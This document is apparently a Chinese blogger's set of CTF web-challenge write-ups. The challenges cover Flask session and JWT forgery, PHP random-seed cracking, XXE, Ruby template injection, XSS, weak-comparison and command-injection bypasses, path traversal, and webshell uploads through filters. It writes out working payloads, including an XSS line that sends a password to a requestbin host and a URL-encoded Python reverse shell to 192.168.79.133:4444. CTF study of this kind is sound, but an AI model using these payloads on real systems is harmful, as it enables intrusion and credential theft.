目录
1.[CISCN2019 华东南赛区]Web4
2.[GWCTF 2019]枯燥的抽奖
3.[NCTF2019]Fake XML cookbook
4.[SCTF2019]Flag Shop
5.[GWCTF 2019]mypassword
6.[BSidesCF 2019]Kookie
7.[WUSTCTF2020]朴实无华
8.[网鼎杯 2020 白虎组]PicDown
9.[CISCN 2019 初赛]Love Math
10.攻防世界-ics-05题
11.[WUSTCTF2020]CV Maker
12.[watevrCTF-2019]Cookie Store
13.[BUUCTF 2018]Online Tool
14.[红明谷CTF 2021]write_shell
15.[SUCTF 2018]GetShell
打开题目后,是有个链接,跳转到百度。
URL中有参数,
我们试试读取passwd。
真的可以读到东西。来试一下,读取flag。
果然没有那么简单。Cookie里有session说明它有可能是flask 伪造。
(这种是base64解码的,必须要用utf-8才能出来)解码看看,正确方法好像是用jwt解密,它定义了一种紧凑的、自包含的方式,用于作为JSON对象在各方之间安全地传输信息。该信息可以被验证和信任,因为它是数字签名的。而jwt又是用bs64加密后的。
将username继续解码,拿到了www-data
虽然别的可能有点难看懂,但是python对我来说还是可以接受的。
它说当username为fuck时能拿到flag。
而想要得到SECRET_KEY需要输入random.seed(uuid.getnode())。
也就是设置随机数种子,python random设置的是伪随机数,只要种子一样,生成的伪随机数数值就是相同的
而种子是uuid.getnode()取的,是网卡mac地址的十进制数,那我们就要知道网卡的mac地址。
/sys/class/net/eth0/address
66:aa:03:61:f3:b7
转换的脚本我不会,找了网上的一个脚本。
最后一直访问被拒,看别人的才知道要用python2才行,两个版本取的小数点后位数不一样。
这个是用来转化为key的。
原来那个地址超时了,我换一个吧。
62:87:26:77:a2:35
搞到了,真正的session。
eyJ1c2VybmFtZSI6eyIgYiI6IlpuVmphdz09In19.Ypg7oQ.ATnt4m-isP_yC6yfBhdgUawmtM8
本题考查,python的flask框架,flask session
伪造,python伪随机数
点一下猜就出来源码,看了一下又是随机数的,了解了一下php在随机数上的东西。发现似乎有个漏洞。靠的是这两个函数
mt_scrand()这个拿到种子分发出去
mt_rand()生成随机数
它的漏洞在于因为是伪随机数,种子一样生成随机数又是成线性的,相对应的随机数是一样的。
靠php_mt_seed脚本可以去模拟取得其生成的随机数,爆破出随机数。
我们既然知道了其随机的是str_long1,目前这当然不是脚本认得出来的数据。我们要将其转化为脚本认识的东西。
这时我们从代码中找到了答案。
随机的是$str_long1的长度区间,
然后得到随机数对应的$str_long1上的字母,反过来说如果我们获得了它的随机后的字符串,然后一一对应它在$str_long1中的位置,就可以获得它的随机数。
很抱歉,虚拟机内存爆满崩了。没有画面展示了。
得出种子后,再根据题目来
得出密码就输入得到flag
Ok啦。
XXE
明显的xml,还没防护。
拿下。
其中a 表示此文档是a类型的文档
ENTITY中的内容表示声明了一个名为admin的外部实体(含SYSTEM就是外部实体),实体内容为读取/etc/passwd信息
定义实体后,在已经存在的< username>标签中可以进行调用,使用&admin;即可。
看到这个有点无奈,用钱来买flag,但是我的钱好像很少,虽然可以打工挣钱但是那要猴年马月啊。开连点器应该可以。
左右折磨了一会儿,终于在robots.txt,多亏我最近学爬虫的功劳。
找到一个目录打开后,看到源码了
看到了前几道题遇到过的jwt。看看它的cookie
明白了jkl是通过jwt改的啊。
接下来我们就要拿下jwt的加密密钥,再伪造一个钱多的jwt就行了。
回来再看源码,
意思就是如果传入的参数do和name一致,则会输出params[:name][0,7]} working successfully!。
我们要通过<%=%>进行模板注入,我们想要得到SECRET但是在<%=%>中我们不能直接写SECRET,因为params[:name][0,7]的存在导致我们只能在模板内写入2个字符。但是幸运的是,Ruby为我们提供了预定义字符。($'-最后一次成功匹配右边的字符串)
别急,还有个坑。
这个就是在匹配SECRET,这个预定义字符的作用是将匹配之后的字符进行返回,意思就是不让你拿到完整的SECRET。
那我们就传一个空的SECRET进去,它无法匹配到东西,返回来就是完整的啦。
构造do=<%=$'%> is working和name=<%=$'%>,记得把里面内容转成十六进制
?name=<%=$'%>&do=<%=$' is working%>&SECRET=
构造完成,拿去转化就行了。
把密钥加上shop页面上的jwt伪造jwt,把钱加满。
然后买下,他会返回3次,每次都要把jwt修改之后,弹窗出现success。
再次返回jwt,拿去jwt解码,
得到flag
在登陆界面看到这个东西,一次查看3个页面,只有登录页面有东西。
点进去看还有东西。用户名和密码都写入了表单。
反馈这里还有一个东西,这里的黑名单是直接进行替换为空处理的。到这已经是很明显的xss的题目了。
构造payload
var psw = docucookiement.getcookieElementsByName("password")[0].value;
docucookiement.locacookietion="http://http.requestbin.buuoj.cn/1lf1pvi1/?a="+psw;
然后在xss网站上看结果。
题目说与cookie有关,这又说使用admin账号登录,存在cookie和monster两个账户。
抓包看看,
没看见有cookie啊,所以应该是让我们添加一个cookie。
既然账号是admin,尝试一下。
Cookie:username&password=admin
不行,用户名或密码无效,用户名是不会错的,也就是说密码无效,那就不要密码再试一下
Cookie:username=admin
显而易见,又是没什么有用的信息。不过看robots.txt看到了东西。
打开看之后,告诉我这不是flag
线索又断了。又在抓包看见新东西。
继续看看
有乱码,看看别人的wp好像是我这出问题了。不影响我看代码就行。
用get,有3处绕过。
它说要用get传入一个num,num比2020小又要2020+1比2021大。
看看这个函数是啥吧。Intval是获取整数的,这头疼了。
不过这个函数中填入科学计数法时又有奇怪的发现。它会以e前面的数值作为返回值,而以完整的数值作为字符串类型的返回值。
num=1e6
它说让我找一个数MD5加密前后相等(==),弱比较类型。弱比较会把0exxxx当做科学计数法,不管后面的值为任何东西,0的任何次幂都为0。
所以找个加密前后都是0e开头就行了0e215962017
3.
传入get_flag当做命令执行,过滤空格,把cat替换成wctf2020
先看看flag文件吧。
空格使用$IFS$1来绕过,cat不让用,那就用nl
Ps. 在kali中除了cat能显示内容外,nl也可以显示文本内容与行号。
$IFS是Unix系统的一个预设变量表示分隔符,
在过滤了空格的系统中,以cat flag.txt为例,系统不允许我们输入空格或输入后被过滤。
${IFS}
可使用${IFS}代替空格。
cat${IFS}flag.txt
cat$IFS$1flag.txt
cat${IFS}$1flag.txt
437a5860-f356-431d-bc13-86025a84737f.node4.buuoj.cn:81/fl4g.php?num=1e6&md5=0e215962017&get_flag=nl$IFS$1fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
发现URL是参数,可能是ssrf,结果这是直接读取文件。
?url=../../../../../etc/passwd
有回显,可行。
直接读取flag试试。。。
直接出来了?
看看别人的wp
原来是环境配置问题,正常来说不应该放在这的。
那我们当做看不见接着做。
读取绝对路径,proc/self/cmdline,获取指定进程的命令行参数,包括进程的启动路径。
看到python2app.py
/no_one_know_the_manager页面下接收key和shell,key要求和secret_key一样。
但是这个文件是用open打开的,会创建文件描述符。我们读这个文件描述符中的内容就好了。
Key=x46ZtvkknENhU9crrnUK4Zt69LhqthGNW3jceHTFjyA=
GET /no_one_know_the_manager?key=x46ZtvkknENhU9crrnUK4Zt69LhqthGNW3jceHTFjyA%3D&shell=python3%20-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%22192.168.79.133%22%2C4444%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3Bos.dup2%28s.fileno%28%29%2C1%29%3B%20os.dup2%28s.fileno%28%29%2C2%29%3Bp%3Dsubprocess.call%28%5B%22/bin/bash%22%2C%22-i%22%5D%29%3B%27 HTTP/1.1
用python反弹shell,并监听4444端口。
拿下本题。
代码讲的意思是传入一个参数c长度不能大于等于80,然后有黑名单字符过滤,有白名单函数过滤,随便传一下他的例子。
看看白名单,一个个学习它的函数怎么用。
第一个可以进行进制之间的转换,比如 base_convert("1001"2,10)是将二进制的1001转换为10进制,第二个函数是将10进制转成16进制。中括号被禁用我们可以用花括号代替{},要构造的字符串为 _GET,php中有将16进制转成字符串的函数hex2bin,那hex2bin又要使用base_convert函数,
php中可以把函数名通过字符串的方式传递给一个变量,然后通过此变量动态调用函数比如下面的代码会执行 system(‘ls’);
base_convert(37907361743,10,36)=hex2bin,要得到_GET所以就得用到另外一个函数dechex将_GET的10进制转为16进制再通过hex2bin转换为字符串。
所以要知道hex2bin(?)才能得_GET
这得看大佬留下的笔记。
base_convert(37907361743,10,36) => “hex2bin”
dechex(1598506324) => “5f474554”
$pi=hex2bin(“5f474554”) => $pi="_GET" //hex2bin将一串16进制数转换为二进制字符串
我们就可以构造_GET
base_convert(37907361743,10,36)(dechex(1598506324))
payload:
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=ls /
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat/flag
拿去base64解码
看到这一段有用,想着自己之前有修改ip的插件,利用本地登录应该能直接进去。
此处存在preg_replace函数,存在命令注入漏洞,函数作用:搜索subject中匹配pattern的部分,以replacement进行替换。此处考察的是preg_replace函数使用/e参数导致代码执行的问题。也就是说,pat值和sub值相同,rep的代码会执行。XFF改成127.0.0.1后就会通过GET方式传进来三个参数。这里调用了preg_replace函数。并且没有对pat参数进行过滤,所以这里我们可以传入"-e"触发漏洞
搞到了,一个个看
Ok。
注册登录后,看到可以上传文件更换头像。判断为文件上传。
上网查一下什么意思
也就是文件头检查。
路径不对,去看看在哪。
找到了。
既然和cookie有关,那先买个cookie来看看cookie吧。
拿到后base64解码看结果
感觉没什么其它的东西,直接修改cookie拿flag。
然后发送,拿到返回的cookie。再解码。
读一下哈。
发现几个我们不认识的函数。
escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。
escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含 exec(), system() 执行运算符 。
remote_addr和x_forwarded_for这两个是见的比较多的,服务器获取ip用的。
构造payload使得它可以再完成部分的检测后最后执行最后一句的nmap命令,但是nmap有什么用呢?这时候我们就需要知道nmap的一个参数-oG可以实现将命令和结果写到文件
找到文件夹连上自己的PHP。
action为pwd时,会打印当前的目录路径;action为upload时,会上传数据到目录路径下的index.php中,并且会对上传的数据进行检查。
先看文件路径,
想要绕过check函数写shell,过滤了空格‘ ’可以用 \t 代替,过滤了'php'可以用短标签=?>代替,相当于 echo>;
过滤了‘_’可以用=``?>代替,反引号在php中有执行命令的效果
利用通配符 '*' 模糊搜索目录下的文件
?action=upload&data==`cat\t/*`?>
虽然看起来挺简单的,但是过滤挺离谱的。把字母和数字都过滤了。
不过还是有老哥做出来了。
利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,比如'和'{2}的结果是"\x8c",其取反即为字母s。
搞定。